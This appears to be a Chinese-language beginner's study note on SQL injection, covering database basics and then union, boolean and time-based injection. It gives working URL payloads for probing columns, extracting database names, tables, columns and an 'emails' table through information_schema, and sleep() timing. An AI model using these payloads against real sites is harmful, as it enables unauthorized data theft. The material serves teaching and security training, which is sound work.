网络攻防快速入门笔记web | 02 SQL注入
一、数据库基础
(一) Access
Microsoft Office Access 是由微软发布的关系数据库管理系统。该数据库系统结合了Microsoft JetDatabase Engine 和图形用户界面两个特点,是Microsoft Ofice 的系统程序之一。
(二)MSSQL
MSSQL 是指微软的 SQL Server数据库服务器,是一个数据库平台,提供数据库从服务器到终端的完整解决方案,其中数据库服务器部分是一个数据库管理系统,用于建立、使用和维护数据库。
(三)MySQL
MySQL 由瑞典 MySQLAB 公司开发,目前属于 Oracle 公司旗下产品,MySQL是最流行的关系数据库管理系统之一。在Web应用方面,MySQL是最好的RDBMS(Relational Database Management System,关系数据库管理系统)软件之一。
(四)Oracle
Oracle Database 又名 Oracle RDBMS,简称 Oracle,是甲骨文公司的一款关系数据库管理系统,是数据库领域一直处于领先地位的产品。
(五)对MySQL数据库的操作
(六)information schema数据库
MySQL 5.0版本后,默认自带一个数据库information schema,MySQL的所有数据库名,表名,字段名都可以从中查询到。虽然引入这个库为了方便数据库的信息查询,但是客观上大大方便了SQL注入。SCHEMATA表,TABLES表,COLUMNS表这三个表是SQL注入时,最常用的几个表。
二、什么是SQL注入
(一)SQL注入的概念
SQL注入是在用户请求输入时,由于后端代码没有对用户输入的子符串进行过滤、转义、限制或处理不严谨等,导致用户可以通过输入恶意字符串改变原有的 SQL查询语句,从而泄露信息。
(二)SQL注入示例
举例:
正常参数传递 http://www.xxx.com/student.php?id=1
恶意构造:
select * from students_info where id =1;
o SQL注入 http://www.xxx.com/student.php?id=1 union select * from students_info;
此时所执行的SQL语句为:
select * from students_info where id =1 union select * from students_info;
三、联合注入
(一)检查注入点
- 数字型
?id=1(正常)
?id=-1(无内容)
?id=1'(错误)
- 字符型
?id=1'and'1'='1(正常)
?id=1'and'1'=’2(无内容)
- 总结
字符型的注入需要从两个引号中逃逸来构造注入语句,否则语句中的引号只会以字符串的形式导入数据库,而不会执行。
(二)查询当前数据库段数
利用 ORDER BY
语句来测试当前数据库的段数,以字符型为例。
测试内容(–±是对后面的内容进行注释,order by 1按照第一列进行排序)
?id=1'order by 1--+-(正常显示)
?id=1'order by 2--+-(正常显示)
?id=1'order by n--+-(正常显示)
?id=1'order by n+1--+-(报错或无显示)
通过以上结果判断,该数据库的段数为n个
(三)UNION泄露信息
(1)获取信息泄露位置:
?id=-1'union select 1,2,3.n--+-
(2)泄露当前数据库信息:
①泄露数据库的语句如下
?id=-1'union select 1,database(),3...n--+-
②泄露版本的语句如下:
?id=-1'union select 1,version(),3..n--+-
③泄露用户的语句如下:
?id=-1' union select 1,user(),3.n--+-
四、布尔注入
(一)布尔注入的概念
布尔注入是利用or拼接两个查询语句,当前者或者后者有一个能够返回结果时,就可以返回结果。因此可以控制使得第一个语句永远不成立,当后面的语句成立时,页面会返回结果。
适用场景:
- union被拉入用户输入内容的黑名单中。
- 当一个页面,存在注入,没显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常进行判断进行SQL注入。
(二)获取库名
?id=-1'or length(database())>7--+-
?id=-1'or ord(mid(database(),1,1))>100--+-
当前数据库名的第一个字符
(三)获取表名
?id=-1’ or (select ORD(mid(GROUP CONCAT(TABLE NAME),1,1)) from information schema.tableswhere table schema=database() limit 0,1)>100 --+-
第一个表名的第一个字符
(四)获取列名
?id=-1’or ord(mid((select group concat(column name) from information schema.columnswhere table name='emails'),1,1))>100--+-
emails表的第一个列名的第一个字符
(五)获取内容
?id=-1'or ord(mid(select group concat(id) from emails),1,1))>40--+-
emails表id列第一个字符的ASCI码
五、时间注入
(一)时间注入的概念
通过注入特定语句,根据对页面请求的反馈,来判断是否注入成功,如:在SQL语句中使用sleep()函数看加载网页的时间来判断注入点。
适用场景:
不管怎样变换参数,都无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知。
(二)获取库名
?id=-1'or sleep(if((select length(database()))>7,5,0))--+-
判断数据库库名长度是否大于7